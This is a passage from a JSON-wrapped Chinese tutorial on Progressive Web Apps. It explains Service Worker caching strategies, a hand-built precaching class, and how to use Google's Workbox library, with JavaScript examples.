caches.open(cacheName)\n  await cache.put(request, response)\n}\n```\n\n`getCachedResponse()` 的作用是从缓存中查找资源并返回：\n\n```js\nconst getCachedResponse = async request => {\n  let cache = await caches.open(cacheName)\n  return cache.match(request, matchOptions)\n}\n```\n\n`fetchAndCatch()` 的作用是发起网络请求，并且把成功响应的对象存入缓存中：\n\n```js\nconst fetchAndCatch = async request => {\n  let response = await fetch(request.clone(), fetchOptions)\n  // 请求资源失败时直接返回\n  if (!response.ok) {\n    return\n  }\n  // 网络请求成功后，将请求响应结果复制一份存入缓存中\n  // 更新缓存过程无需阻塞函数执行\n  cacheResponse(request, response.clone())\n    // 同时缓存更新行为只需静默执行即可\n    .catch(() => {})\n\n  // 返回响应结果\n  return response\n}\n```\n\n有了这些公用方法，后面的策略实现过程将变得简单很多。\n\n## Network First\n\nNetwork First，网络优先策略。该策略会优先尝试发送网络请求获取资源，在资源获取成功的同时会复制一份资源缓存到本地，当网络请求失败时再尝试从本地缓存中读取缓存资源。Network First 策略一般适用于对请求的实时性和稳定性有要求的情况。其代码实现如下所示：\n\n```js\nfunction networkFirst ({\n  fetchOptions,\n  cacheName = 'runtime-cache',\n  matchOptions\n} = {}) {\n  // ...（定义getCachedResponse、fetchAndCatch）\n\n  return async request => {\n    let response\n\n    try {\n      // 优先发起网络请求，并将请求返回结果缓存到本地\n      response = await fetchAndCatch(request)\n    } catch (e) {}\n\n    if (response == null) {\n      // 网络资源请求失败时，从本地缓存中读取缓存\n      response = await getCachedResponse(request)\n    }\n\n    return response\n  }\n}\n```\n\n假设我们需要对 `/api` 类型的接口请求使用 Network First 的缓存策略，相关代码如下所示：\n\n```js\nrouter.registerRoute(/\\/api/, networkFirst())\n```\n\n## Cache First\n\nCache First，缓存优先策略。该策略会优先从本地缓存读取资源，读取失败后再发起网络请求，成功获得网络请求响应结果时会将该结果缓存到本地。对于实时性要求不太高的资源，可以使用该策略提高加载速度。缓存优先策略的代码如下所示：\n\n```js\nfunction cacheFirst ({\n  fetchOptions,\n  cacheName = 'runtime-cache',\n  matchOptions\n} = {}) {\n  // ...（定义 getCachedResponse、fetchAndCatch）\n\n  return async request => {\n    let response\n\n    try {\n      // 优先匹配本地缓存\n      response = await getCachedResponse(request)\n    } catch (e) {}\n    // 匹配不到缓存或者缓存读取出现异常时，再去发起网络请求\n    // 并且将请求成功的资源写入缓存中\n    if (response == null) {\n      response = await fetchAndCatch(request)\n    }\n\n    return response\n  }\n}\n```\n\n下面演示 Cache First 策略的使用方法。对于 jQuery 这样公共 JS 库就非常适合使用 Cache First 策略，例子中的 jQuery 的代码托管在非同源的 CDN 上面，因此需要传入 fetchOptions 参数去指定该策略中的 fetch 方法请求跨域资源时的请求模式为 `cors`：\n\n```js\nrouter.registerRoute(\n  'https://code.jquery.com/jquery-3.3.1.min.js',\n  cacheFirst({\n    fetchOptions: {\n      mode: 'cors'\n    }\n  })\n)\n```\n\n## Network Only\n\nNetwork Only，仅通过发送正常的网络请求获取资源，并将请求响应结果直接返回。该策略适用于对实时性要求非常高的资源，或者是无需进行缓存的资源。比如验证码图片、统计数据请求等等。策略的代码实现如下所示：\n\n```js\nfunction networkOnly ({\n  fetchOptions\n} = {}) {\n  return request => fetch(request, fetchOptions)\n}\n```\n\n## Cache Only\n\nCache Only，仅从缓存中读取资源。这个策略一般需要配合预缓存方案使用。策略的代码实现如下所示：\n\n```js\nfunction cacheOnly ({\n  cacheName,\n  matchOptions\n} = {}) {\n  // ...（定义 getCachedResponse）\n\n  return async request => {\n    let response = await getCachedResponse(request)\n    return response\n  }\n}\n```\n\n## Stale While Revalidate\n\nStale While Revalidate，该策略跟 Cache First 策略比较类似，都是优先返回本地缓存的资源。不同的地方在于，Stale While Revalidate 策略无论在缓存读取是否成功的时候都会发送网络请求更新本地缓存。这样的好处是，在保证资源请求响应速度的同时，还能够保证缓存中的资源一直保持一个比较新的状态；它的缺点也比较明显，就是每次请求资源的时候，都会发起网络请求占用用户的网络带宽。其代码实现如下所示：\n\n```js\nfunction staleWhileRevalidate ({\n  fetchOptions,\n  cacheName = 'runtime-cache',\n  matchOptions\n} = {}) {\n  // ...（定义 getCachedResponse、fetchAndCatch）\n\n  return async request => {\n    let response\n    // 首先读取本地缓存\n    try {\n      response = await getCachedResponse(request)\n    } catch (e) {}\n    // 发起网络请求并更新缓存\n    let fetchPromise = fetchAndCatch(request)\n    // 如果存在本地缓存，则静默更新缓存即可，无需阻塞函数执行\n    if (response) {\n      // 静默更新，无需报错\n      fetchPromise.catch(e => {})\n    } else {\n      // 反之则将网络请求到的资源返回\n      response = await fetchPromise\n    }\n\n    return response\n  }\n}\n```\n\n## 示例\n\n本节的示例代码托管在 [GitHub](https://github.com/lavas-project/pwa-book-demo/chapter05/respond-strategy) 上面，读者可以自行将代码下载到本地运行和修改。本示例页面实现了文章阅读功能，页面正文展示文章主体，页脚显示文章阅读量。这是个简单的 SPA 页面，采用了 App Shell 的设计模式，框架与内容分离，内容通过异步数据请求到前端之后再进行前端渲染。\n\n首先我们需要对这个示例的资源进行分析，并选择相应的资源请求响应策略：\n\n- index.html、index.css、index.js：网页的 App Shell，由于框架与内容分离，可以认为 App Shell 是不常变动的，因此可以选择 Cache First；\n- article.json：文章数据，文章内容可能会被作者编辑产生一定变化，但实时性要求不是很高，在这里可以选择使用 Stale While Revalidate；\n- statistics.json：统计数据，返回文章的阅读量数据，这类数据并不影响文章的展示，因此可以选择 Network Only 或者是 Network First。\n\n接下来我们将上述分析的结论转化为如下 Service Worker 代码：\n\n```js\nvar router = new Router()\nrouter.registerRoute(/\\/index\\.(html|css|js)$/, cacheFirst())\nrouter.registerRoute(/\\/article\\.json$/, staleWhileRevalidate())\nrouter.registerRoute(/\\/statistics\\.json$/, networkOnly())\n```\n\n这样示例的 Service Worker 文件就准备完毕了，然后只需要在 index.html 增加 Service Worker 的注册脚本，这样就开发完成了。\n\n```html\n<script>\n  if ('serviceWorker' in navigator) {\n    navigator.serviceWorker.register('/service-worker.js')\n  }\n</script>\n```\n\n接下来通过 `node server.js` 命令启动服务器，然后打开 Chrome 浏览器访问 `http://127.0.0.1:8080/index.html`，可以看到浏览器显示如下所示：\n\n![页面样式](./img/respond-demo.png)\n\n这时打开 Chrome 开发者工具下的 Application > Service Worker 面板，可以看到首次访问页面的时候，service-worker.js 文件开始进行注册并激活。\n\n![注册 Service Worker](./img/respond-register-sw.png)\n\n此时点击展开 Cache Storage 面板，在 runtime-cache 这个缓存空间并没有任何缓存内容。在刷新页面即第二次访问页面之后，runtime-cache 终于有了缓存资源：\n\n![缓存资源](./img/respond-demo-cache-storage.png)\n\n此时断开浏览器的网络链接并再一次刷新页面，可以看到在离线情况下，页面上的文章内容和大体样式均正常显示，阅读数的请求由于我们没有对其进行缓存，因此在显示上被容错显示成了 0，这些表现均符合预期。\n\n![离线访问](./img/respond-demo-offline.png)\n\n## 小结\n\n本节主要介绍了一些常用的资源请求响应策略，依次分析了它们的适用场景，最后结合示例演示了在项目当中的实际应用方法。这些常用策略基本能够满足大部分的 Service Worker 开发需求，但这并不是全部，读者可以根据实际的需求，创造出其他更为复杂的策略。\n"
  },
  {
    "path": "chapter05/4-precache.md",
    "content": "# 预缓存方案\n\n一个网页的展现所依赖的资源可以大致分为两类：一、静态资源，比如 JS，CSS，前端渲染的 HTML 文件，样式文件中可能使用到的字体、背景图片等等。它们的作用是保证页面的前端功能和样式正常工作。这些资源只有在网站更新上线的时候才会发生变化，因此它们的内容和数量都是确定且可控的，更新频率较低，重复使用率高；二、动态资源，比如各种接口请求返回的各种数据，后端渲染的 HTML 页面，内容中的图片、视频等等。它们更侧重于页面的内容表达，因此会随着展现内容的调整而不断变化。这些资源内容变化频繁且不可控，重复使用率也较低。因此我们应该对这两种资源分别进行管理，同时针对静态资源的特点设计出更为高效的预缓存方案。\n\n## 预缓存方案设计\n\n首先，静态资源的特点之一是确定性，在网站开发的时候就已经能够确定下来。在前面介绍资源请求响应策略时，资源缓存都是在请求被拦截之后，经过响应策略的处理才被缓存下来，这个缓存过程是被动的，缓存的生效时间也比较慢。但由于静态资源具有确定性，因此可以主动获取所需缓存的资源列表，并且在 Service Worker 安装阶段就主动发起静态资源请求并缓存，这样一旦新的 Service Worker 被激活之后，缓存就直接能投入使用了。这是一个资源预取的过程，因此静态资源的缓存方案也称为预缓存方案。\n\n其次，静态资源具有稳定性，在两次上线期间资源内容不会发生变化。因此可以在拦截到静态资源请求时优先返回缓存资源，从而减少网络请求数，提高了缓存利用率，并最终获得加快页面展现和离线可用的效果。\n\n## 资源列表获取\n\n框架型资源是可控的，它们在进行网站开发的时候就能够确定下来。比如在上一节的例子当中，很容易就能看出它的框架型资源是 index.html、index.css、index.js；如果是大型前端项目，如果借助了 webpack、Rollup 等前端构建工具，最终的生成产物也都属于框架型资源，通过简单的文件遍历就能够获取资源列表信息。接下来通过路径映射，就可以获得资源的 URL 列表：\n\n```js\nlet urls = [\n  '/index.html',\n  '/index.js',\n  '/index.css'\n]\n```\n\n同时由于能够直接获得资源的内容，也可以在列表中添加资源内容相关的信息，比如文件 md5、文件版本号等信息作为资源的附加标识。通过这些标识可以用来判断资源的内容是否发生变更，为后续资源管理提供更多的信息。因此上面的 URL 列表可以进一步改写成如下形式：\n\n```js\nlet resources = [\n  // 通过 md5 标识\n  {\n    url: '/index.html',\n    revision: 'abc'\n  },\n  // 通过文件版本标识\n  {\n    url: '/index.js',\n    revision: '1.0.1'\n  },\n  // url 直接包含标识信息\n  '/index.abc.css'\n]\n```\n\n在获取到需要预缓存的资源列表信息之后，接下来开始设计新资源的加载与缓存。\n\n## 新资源的加载与缓存\n\n为了能够让静态资源在新的 Service Worker 安装完成时已缓存完毕，可以将资源加载与缓存的过程放在 `install` 事件回调里执行。\n\n通过前面 Service Worker 生命周期的学习我们知道，Service Worker 安装阶段只会触发一次 `install` 事件，一旦安装完成便不会重复触发，只有在 Service Worker 文件内容出现变化，或者主动调用 `ServiceWorkerRegistration.update()` 的情况下才会触发 Service Worker 的重新安装。同时资源的加载与缓存过程可能由于网络原因导致缓存失败，在这种情况下需要中断 Service Worker 的安装过程，等待页面下次被访问的时候重新触发安装过程。因此加载新资源的代码如下所示：\n\n```js\nself.addEventListener('install', event => {\n  event.waitUntil(cacheAll(cacheName, urls))\n})\n```\n\n其中 `cacheAll()` 方法可以利用 Cache API 提供的 `addAll()` 方法简单实现：\n\n```js\nfunction cacheAll (cacheName, urls) {\n  return caches.open(cacheName).then(cache => cache.addAll(urls))\n}\n```\n\n### 重名资源的加载\n\n在加载新资源的时候正处于新的 Service Worker 安装阶段，此时旧的 Service Worker 仍在正常工作，因此在加载新资源的时候需要格外注意，不要覆盖掉具有相同路径的旧资源。解决这个问题有以下几种方案：\n\n1.新旧资源使用不同名称的缓存对象进行存储。\n\n这种方案能够非常方便地解决重名问题，新旧资源使用不同名称的缓存对象进行存储，那么各自的资源在存储时就已经相互隔离，因此不需要关心资源是否重名，甚至不需要关心资源是否增减、修改等问题，全部资源都需要进行加载和缓存。这样新旧资源的管理问题就转化成了新旧存储仓库的管理问题，我们只需关心如何增加新仓库，删除旧仓库即可。\n\n但这并不是最优方案，因为新旧资源当中可能存在没有发生变化的部分，这部分资源的重复加载其实是没必要的，既额外消耗了用户流量，也同时减缓了 Service Worker 的安装速度。所以如果要对该方案做进一步优化，可以在加载新资源之前首先通过资源比对的方式，将没有变化的资源直接从旧仓库复制到新仓库当中，剩下的再去请求网络资源。\n\n2.确保资源不重名。\n\n借助 Webpack、Rollup 等构建工具进行前端开发时，可以配置编译产出的静态资源名称带上文件的 md5，这样就能够保证内容发生变更的资源不会产生相同的 URL。但这种方案并不适用于所有的静态资源。举个例子，比如前端渲染的 HTML，尽管它属于静态资源，但是它的 URL 就不允许频繁变更，因此需要采用其他方案作为补充。\n\n在前面资源列表小节内容当中，介绍了一种通过增加 revision 参数来标识文件是否发生变化的方法，我们可以利用这个参数将 URL 改造成不重名的形式。最简单的做法是，将 revision 以 Search 参数的方式拼接到 URL 当中。下面通过代码举例说明：\n\n```js\nlet resource = {\n  url: '/index.js',\n  revision: 'abc'\n}\nlet cacheKey = location.origin +\n  resource.url +\n  '?precache_url_revision=' +\n  resource.revision\n// 打印 http://127.0.0.1:8080/index.js?precache_url_revision=abc\nconsole.log(cacheKey)\n```\n我们可以通过实例化 URL 类对象来简化上述拼接过程：\n\n```js\nlet cacheKeyURL = new URL(resource.url, location)\ncacheKeyURL.searchParams.set('precache_url_revision', resource.revision)\nlet cacheKey = cacheKeyURL.href\n```\n\n其中所增加的 Search 参数的参数名应该设置成比较特殊的名称以避免原始 URL 存在同名参数导致被覆盖。由于 revision 具有唯一性，就保证了生成的 URL 同样具有唯一性，这样作为资源存储的键值就能够保证不会覆盖掉旧资源。在缓存查询的时候主动给 URL 挂上这个参数再去查询即可。下面通过代码简单演示这个存取过程：\n\n```js\nlet resource = {\n  url: '/index.js',\n  revision: 'abc'\n}\n// 存储\n// 给资源 URL 拼接 precache_url_revision 参数，并作为键值存储\nlet cacheKeyURL = new URL(resource.url, location)\ncacheKeyURL.searchParams.set('precache_url_revision', resource.revision)\ncache.put(cacheKeyURL.href, response)\n\n// 读取\nif (requestURL === new URL(resource.url, location).href) {\n  // 给资源请求 URL 拼接 precache_url_revision 参数，并作为键值查询\n  let cacheKeyURL = new URL(requestURL, location)\n  cacheKeyURL.searchParams.set('precache_url_revision', resource.revision)\n  // 查找缓存资源\n  cache.match(cacheKeyURL.href).then(response => {\n    if (response != null) {\n      // 资源匹配成功\n    }\n  })\n}\n```\n\n经过补充方案的完善之后，即使 URL 完全一样的资源也能够解决新旧资源覆盖的问题。\n\n### 预缓存资源加载实现\n\n<!-- FIXME: chapter05代码不在了,下同 -->\n接下来我们将采用方案 2 来演示预缓存功能的实现，读者也可以根据思路自行实现方案 1 以加深理解。在这里我们可以将预缓存功能封装成一个 Precacher 类，然后可以通过 `precache()` 方法传入预缓存资源信息。完整的代码可以移步 [GitHub](https://github.com/lavas-project/pwa-book-demo/chapter05/precache/precacher.js) 进行学习。以下是相关代码实现：\n\n```js\nclass Precacher {\n  constructor ({\n    cacheName = 'precache',\n    searchKey = 'precache_url_revision'\n  } = {}) {\n    this.cacheName = cacheName\n    this.searchKey = searchKey\n    // 存储资源信息的列表\n    this.resources = []\n    // 初始化事件监听\n    this.initEventListener()\n  }\n\n  initEventListener () {\n    // 在 `install` 事件回调执行预缓存资源加载\n    self.addEventListener('install', event => {\n      event.waitUntil(\n        // 缓存新增/变化的资源\n        cacheResources(this.cacheName, this.resources)\n      )\n    })\n  }\n\n  precache (resources) {\n    for (let resource of resources) {\n      // 格式化资源信息\n      let res = formatResource(this.searchKey, resource)\n      this.resources.push(res)\n    }\n  }\n}\n```\n\n其中 install 事件中所使用的 `cacheResources()` 方法会首先找出新增或内容发生变化的资源，然后重新请求并缓存。具体实现如下所示：\n\n```js\nasync function cacheResources (cacheName, resources) {\n  let urls = resources.map(resource => resource.cacheKey)\n  // 首先打开并缓存 CacheStorage 对象\n  let cache = await caches.open(cacheName)\n  // 获取已存储的所有资源键值信息\n  let requests = await cache.keys()\n  // 获取已存储的资源 URL\n  let cachedURLs = requests.map(request => request.url)\n  // 找出新增资源里面未存储过的资源 URL\n  let updateURLs = urls.filter(url => !cachedURLs.includes(url))\n  // 最后调用 cache.addAll() 缓存新增资源\n  await cache.addAll(updateURLs)\n}\n```\n\n另外在调用 `precache()` 时，传入的资源信息可能是字符串或者对象，因此需要 `formatResource()` 方法将资源信息格式化，格式化过程包括 URL 信息补全以及类型统一。经过格式化后的资源信息对象将包含两个属性：url 为补全后的资源原始 URL，cacheKey 为资源存入缓存中的键值。具体实现如下所示：\n\n```js\nfunction formatResource (searchKey, resource) {\n  let originURL\n  let cacheKeyURL\n  // 当资源信息为字符串时，说明资源 URL 已经具有唯一性\n  // 因此可以直接拿 URL 作为资源的存储键值\n  if (typeof resource === 'string') {\n    originURL = new URL(resource, location)\n    cacheKeyURL = new URL(resource, location)\n  }\n  // 当资源信息为对象时，需要使用 revision 来生成资源存储键值\n  else {\n    originURL = new URL(resource.url, location)\n    cacheKeyURL = new URL(resource.url, location)\n    cacheKeyURL.searchParams.set(searchKey, resource.revision)\n  }\n\n  return {\n    url: originURL.href,\n    cacheKey: cacheKeyURL.href\n  }\n}\n```\n\n这样我们就通过 Precacher 简单实现了预缓存资源的加载。在使用的时候，只需要实例化 Precacher 后调用 precache 方法传入预缓存资源列表信息即可：\n\n```js\nlet precacher = new Precacher()\nprecacher.precache([\n  {\n    url: '/index.html',\n    revision: 'abc'\n  },\n  {\n    url: '/index.js',\n    revision: '1.0.1'\n  },\n  '/index.abc.css'\n])\n```\n\n## 旧资源的清理\n\n当新的 Service Worker 安装并激活成功之后，旧的预缓存资源就基本没用了，因此需要及时对旧资源进行清理。我们一般选择 `activate` 事件回调来执行旧资源的清理工作，此时 Service Worker 已经安装完成，并且已经进入激活阶段，激活完成之后新 Service Worker 就已经正式接管并开始工作了，因此在这个阶段清理旧缓存不会对旧 Service Worker 造成影响，并且在 `activate` 事件的回调当中，清理过程导致的任何出错都不会影响到 Service Worker 的激活。\n\n接下来我们只需往 Precacher 类添加对 `activate` 事件监听以及旧资源的清理逻辑即可：\n\n```js\nclass Precacher {\n  // ...\n  initEventListener () {\n    // install ...\n\n    // 添加 activate 事件监听清理旧资源\n    self.addEventListener('activate', event => {\n      event.waitUntil(\n        // 清理旧缓存\n        clearOldResources(this.cacheName, this.resources)\n      )\n    })\n  }\n}\n```\n\n其中 `clearOldResources()` 方法实现了对旧预缓存资源的清理，在实现思路上与前面的 `cacheResources()` 方法类似，通过比对已缓存资源和当前资源列表信息进行比对，找出旧资源并删除。具体实现如下所示：\n\n```js\nasync function clearOldResources (cacheName, resources) {\n  let urls = resources.map(resource => resource.cacheKey)\n  // 首先打开并缓存 CacheStorage 对象\n  let cache = await caches.open(cacheName)\n  // 获取已存储的所有资源键值信息\n  let requests = await cache.keys()\n  // 找出新增的 URL\n  // 获取已存储的资源 URL\n  let cachedURLs = requests.map(request => request.url)\n  // 找出不在资源列表信息当中的 URL\n  let oldURLs = cachedURLs.filter(url => !urls.includes(url))\n  // 最后调用 cache.delete() 删除旧资源\n  await Promise.all(oldURLs.map(url => cache.delete(url)))\n}\n```\n\n## 预缓存方案的请求响应策略\n\n预缓存资源在加载机制保证了 Service Worker 安装并激活完成时，预缓存资源已全部处于可用状态，因此可以对预缓存资源的请求响应采用 Cache First 甚至 Cache Only 的策略。由于在预缓存资源加载阶段当中，为了避免新旧资源重名而使用修改过的 URL 作为存储键值，因此在拦截到的预缓存请求，也同样需要经过修改才能够查找到缓存的资源。接下来给 Precacher 添加 `addRoute()` 方法实现对资源的拦截与响应：\n\n```js\nclass Precacher {\n  // ...\n\n  addRoute () {\n    // addRoute() 方法只需执行一次\n    if (this.hasAdded) {\n      return\n    }\n    this.hasAdded = true\n\n    const cacheFirstHandler = cacheFirst({\n      cacheName: this.cacheName\n    })\n\n    const router = new Router()\n    router.registerRoute(\n      request => {\n        return this.resources.some(\n          resource => resource.url === request.url\n        )\n      },\n      request => {\n        for (let resource of this.resources) {\n          if (resource.url === request.url) {\n            return cacheFirstHandler(new Request(resource.cacheKey))\n          }\n        }\n      }\n    )\n  }\n  // 将 precache() 和 addRoute() 合成一个方法\n  precacheAndRoute (resources) {\n    this.precache(resources)\n    this.addRoute()\n  }\n}\n```\n\n这样直接调用 `precacheAndRoute()` 方法就能够实现资源预缓存的同时也设置好预缓存资源的响应了。\n\n```js\nlet precacher = new Precacher()\nprecacher.precacheAndRoute([\n  {\n    url: '/index.html',\n    revision: 'abc'\n  },\n  {\n    url: '/index.js',\n    revision: '1.0.1'\n  },\n  '/index.abc.css'\n])\n```\n\n## 预缓存示例\n\n本节的示例将在上一节的示例基础上增加预缓存功能，相关示例代码托管在 [GitHub](https://github.com/lavas-project/pwa-book-demo/chapter05/precache) 上面，读者可以自行将代码下载到本地运行和修改。\n\n首先从示例的资源分析可以看出，网页的 App Shell 部分属于静态资源，因此可以进行预缓存。\n\n然后需要获取静态资源的 md5 值，并且将得到的 md5 值添加到 index.js 和 index.css 的文件名当中，由于 index.html 的 URL 不允许发生变化，因此在生成资源信息列表的时候给 index.html 的资源信息描述添加 revision：\n\n```js\nlet resources = [\n  {\n    url: '/index.html',\n    revision: '5ed70e0c237b4c66'\n  },\n  '/index.f8666b443c7a0e84.js',\n  '/index.1236d1250f7ffbdc.css'\n]\n```\n\n接下来修改 Service Worker，添加预缓存相关代码，同时移除重复的路由规则即可。利用上面实现的 Precacher 类可以非常方便地实现预缓存规则的添加：\n\n```js\n// 预缓存\nlet precacher = new Precacher()\nprecacher.precacheAndRoute(resources)\n\n// 动态缓存\nvar router = new Router()\n// 删除预缓存已经处理的路由\n// router.registerRoute(/\\/index\\.(html|css|js)$/, cacheFirst())\nrouter.registerRoute(/\\/article\\.json$/, staleWhileRevalidate())\nrouter.registerRoute(/\\/statistics\\.json$/, networkOnly())\n```\n\n这样预缓存的改造工作就完成了。启动好示例服务器，使用 Chrome 浏览器重新访问 `http://127.0.0.1:8080/index.html`，这时可以通过开发者工具观察到新的 Service Worker 开始安装，同时 Cache Storage 面板多了一个名为“precache”的缓存仓库，里面的内容正是预缓存资源。接下来断开浏览器的网络连接，页面仍然能够正常显示，说明预缓存资源已添加成功并且正常工作。\n\n![预缓存示例](./img/precache-demo.png)\n\n接下来修改静态资源内容，用于观察预缓存资源的更新过程。首先在 index.html 上修改部分内容，比如增加 `<p>` 标签显示文案 `<p>这是一首小诗</p>`，这样 index.html 的 md5 将会变成 `asdf`，因此需要更新 service-worker.js 中的资源信息列表部分：\n\n```js\nlet resources = [\n  {\n    url: '/index.html',\n    revision: 'c607781a6a09a468'\n  },\n  // ...\n]\n// ...\n```\n\n接下来重新刷新页面，可以看到此时页面上并没有显示后面添加的文案“这是一行小诗”，说明 index.html 是从缓存中读取的。同时由于 service-worker.js 文件内容变更而触发了 Service Worker 的重新安装：\n\n![Service Worker 重新安装](./img/precache-demo-reinstall.png)\n\n安装完成时“precache”缓存仓库中便会同时存在两条“/index.html”的存储条目：\n\n![同名资源更新](./img/precache-demo-two-index.png)\n\n之后在控制台点击 skipWaiting 按钮或刷新页面触发 Service Worker 进入激活阶段。当 Service Worker 激活完成时，旧的“/index.html”缓存会被删除，同时页面显示了新添加的文案，说明 Precacher 成功实现了新旧资源交替更换的管理。\n\n![同名资源替换](./img/precache-demo-update-success.png)\n"
  },
  {
    "path": "chapter05/5-workbox.md",
    "content": "# 使用 Workbox\n\nWorkbox 是 Google Chrome 团队推出的一套 PWA 的解决方案，这套解决方案当中包含了核心库和构建工具，因此我们可以利用 Workbox 实现 Service Worker 的快速开发。本节内容将介绍 Workbox 的一些常用方法。\n\n## 引入 Workbox\n\nService Worker 文件引入 Workbox 的方法非常简单，只需要在文件顶部增加一行代码即可：\n\n```js\nimportScripts('https://storage.googleapis.com/workbox-cdn/releases/4.2.0/workbox-sw.js')\n```\n\nWorkbox 从 3.x 版本开始便将其核心文件托管到 CDN 上进行维护，开发者也可以下载下来自行维护。\n\n我们可以通过判断全局对象 `workbox` 是否存在来确认 Workbox 是否加载完成：\n\n```js\nif (workbox) {\n  // Workbox 加载完成\n}\n```\n\n一旦 Workbox 加载完成，我们便可以使用挂载到 `workbox` 对象上的各种功能了。\n\n## Workbox 配置\n\nWorkbox 提供了默认的预缓存和动态缓存的名称，可分别通过 `workbox.core.cacheNames.precache` 和 `workbox.core.cacheNames.runtime` 获取当前定义的预缓存和动态缓存名称。在通常情况下，我们使用默认的缓存名称进行资源存取即可，假如遇到缓存名称冲突的情况，也可以调用 `workbox.core.setCacheNameDetails` 方法去修改这些默认名称。下面的代码演示了修改默认名称的方法以及修改结果：\n\n```js\n// 修改默认配置\nworkbox.core.setCacheNameDetails({\n  prefix: 'app',\n  suffix: 'v1',\n  precache: 'precache',\n  runtime: 'runtime'\n})\n\n// 打印修改结果\n\n// 将打印 'app-precache-v1'\nconsole.log(worbox.core.cacheNames.precache)\n// 将打印 'app-runtime-v1'\nconsole.log(workbox.core.cacheNames.runtime)\n```\n\n## Workbox 预缓存功能\n\n`workbox.precaching` 对象提供了常用的预缓存功能，其中最常用的方法是 `workbox.precaching.precacheAndRoute`。它的作用跟我们前面实现的 `Precacher.precacheAndRoute()` 的功能类似， 都是将传入的资源列表进行预缓存，同时对匹配到的预缓存请求直接从本地缓存中读取并返回。\n\n```js\nworkbox.routing.precacheAndRoute([\n  {\n    url: '/index.html',\n    revision: 'asdf'\n  },\n  '/index.abc.js',\n  '/index.bcd.css'\n])\n```\n\n## Workbox 路由功能\n\nWorkbox 对资源请求匹配和对应的缓存策略执行进行了统一管理，采用路由注册的组织形式，以此来规范化动态缓存。与前面我们封装的 Router 类似，Workbox 提供了 `worbox.routing.registerRoute` 方法进行路由注册，使用方法如下所示：\n\n```js\nworkbox.routing.registerRoute(match, handlerCb)\n```\n\n接下来我们将对两个参数进行介绍。\n\n### 路由匹配规则\n\n`workbox.routing.registerRoute` 的第一个参数 match 是路由的匹配规则，支持以下几种匹配模式：\n\n1.对资源 URL 进行字符串匹配。URL 字符串可以是完整 URL 或者是相对路径，如果是相对路径，Workbox 首先会以当前网页的 URL 为基准进行补全再进行字符串匹配。假设当前页面的 URL 为 `http://127.0.0.1:8080/index.html`，那么如下所示所注册的路由都是能够正常匹配到 `http://127.0.0.1:8080/index.css` 这个资源请求的：\n\n```js\nworkbox.routing.registerRoute('http://127.0.0.1:8080/index.css', handlerCb)\nworkbox.routing.registerRoute('/index.css', handlerCb)\nworkbox.routing.registerRoute('./index.css', handlerCb)\n```\n\n2.对资源 URL 进行正则匹配。假设我们注册这样一条正则匹配的路由规则：\n\n```js\nworkbox.routing.registerRoute(/\\/index\\.css$/, handlerCb)\n```\n\n那么以下以 '/index.css' 为结尾的**同域资源**都能够命中这条路由规则：\n\n- `http://127.0.0.1:8080/index.css`\n- `http://127.0.0.1:8080/a/index.css`\n- `http://127.0.0.1:8080/a/b/index.css`\n\n但是对于**跨域资源**来说并不会命中这条路由规则。这是因为 Workbox 在正则匹配的模式下对跨域资源做了特殊处理，一般情况下会忽略掉对跨域资源的匹配，只有当正则表达式能够匹配到跨域资源 URL 的开头，Workbox 才会明确地知道这类跨域资源需要进行动态缓存处理。因此，如下所示的正则匹配规则才会命中 `https://third-party-site.com` 这个域下的跨域资源请求：\n\n```js\nworkbox.routing.registerRoute(\n  /^https:\\/\\/third-party-site\\.com\\/.*\\/index\\.css$/,\n  handlerCb\n)\n```\n\n3.自定义路由匹配方法。match 允许传入一个自定义方法来实现较为复杂的资源请求匹配规则，这个自定义方法可以仿造下面的代码实现：\n\n```js\nconst match = ({url, event}) => {\n  return url.pathname === '/index.html'\n}\n```\n\n其中 url 是 `URL` 类的实例，event 是 fetch 事件的回调参数。url 可通过对 `URL` 类进行实例化，从 `event.request.url` 转换得到：\n\n```js\nlet url = new URL(event.request.url)\n```\n\n自定义路由匹配方法有两点要求，首先要求是个同步执行函数，其次函数在表示资源请求匹配成功的时候，只需要返回一个真值（即强制转化为布尔值后为 true 的值）即可。\n\n### 资源请求处理方法\n\n`workbox.routing.registerRoute` 的第二个参数 handlerCb 是对匹配到的资源请求进行处理的方法，开发者可以在这里决定如何响应请求，无论是从网络、从本地缓存还是在 Service Worker 中直接生成都是可以的。比如：\n\n```js\nconst handlerCb = ({url, event, params}) => {\n  return Promise.resolve(new Response('Hello World!'))\n}\n```\n\n其中，传入资源请求处理方法的对象包含以下属性：\n\n- url：event.request.url 经 URL 类实例化的对象；\n- event：fetch 事件回调参数；\n- params：自定义路由匹配方法所返回的值。\n\n对资源请求处理方法的要求是，函数必须是个异步方法并返回一个 Promise，且这个 Promise 解析的结果必须是一个 Response 对象。\n\n## Workbox 缓存策略\n\n`workbox.strategies` 对象提供了一系列常用的动态缓存策略来实现对资源请求的处理。包括了以下几种策略：\n\n- NetworkFirst：网络优先\n- CacheFirst：缓存优先\n- NetworkOnly：仅使用正常的网络请求\n- CacheOnly：仅使用缓存中的资源\n- StaleWhileRevalidate：从缓存中读取资源的同时发送网络请求更新本地缓存\n\n这些策略与前面介绍资源请求响应策略的章节中简易实现的缓存策略做对比可以发现，其原理基本是一致的，当然在具体实现上 Workbox 考虑得更为复杂而全面以应对各式各样的生产环境。我们可以通过前面简易实现的策略来加深对 Workbox 缓存策略的认识。\n\n下面举个例子来演示 Workbox 缓存策略的使用。假设需要对 `/api` 的资源请求采用 NetworkFirst 的策略，那么相应的路由规则和策略的使用代码如下所示：\n\n```js\nworkbox.routing.registerRoute(/\\/api/, new workbox.strategies.NetworkFirst())\n```\n\n### 缓存策略配置\n\nWorkbox 缓存策略均可进行如下配置：\n\n- cacheName：指定当前策略进行资源缓存的名称；\n- plugins：指定当前策略所使用的插件列表；\n\n对于需要使用 Fetch API 来发送网络请求的策略将会多出以下配置项：\n\n- fetchOptions：作为 Fetch API 的第二个参数透传给当前策略中所有使用到的 Fetch API；\n\n对于需要使用 Cache API 操作本地缓存的策略将多出以下配置项：\n\n- matchOptions：作为 Cache 对象所提供的查找方法 `match` 的第二个参数透传给当前策略中所有使用到 `cache.match` 的地方。\n\n接下来通过一些例子来演示缓存策略的配置以及配置生效的情况。\n\n#### 指定资源缓存名称\n\n假设我们需要针对图片资源单独进行存储管理，那么可以在策略中设置 cacheName 来指定缓存名称：\n\n```js\nworkbox.routing.registerRoute(\n  /\\.(jpe?g|png)/,\n  new workbox.strategies.CacheFirst({\n    cacheName: 'image-runtime-cache'\n  })\n)\n```\n\n这样当站点图片资源缓存成功之后，打开 Chrome 开发者工具 > Applications > Cache 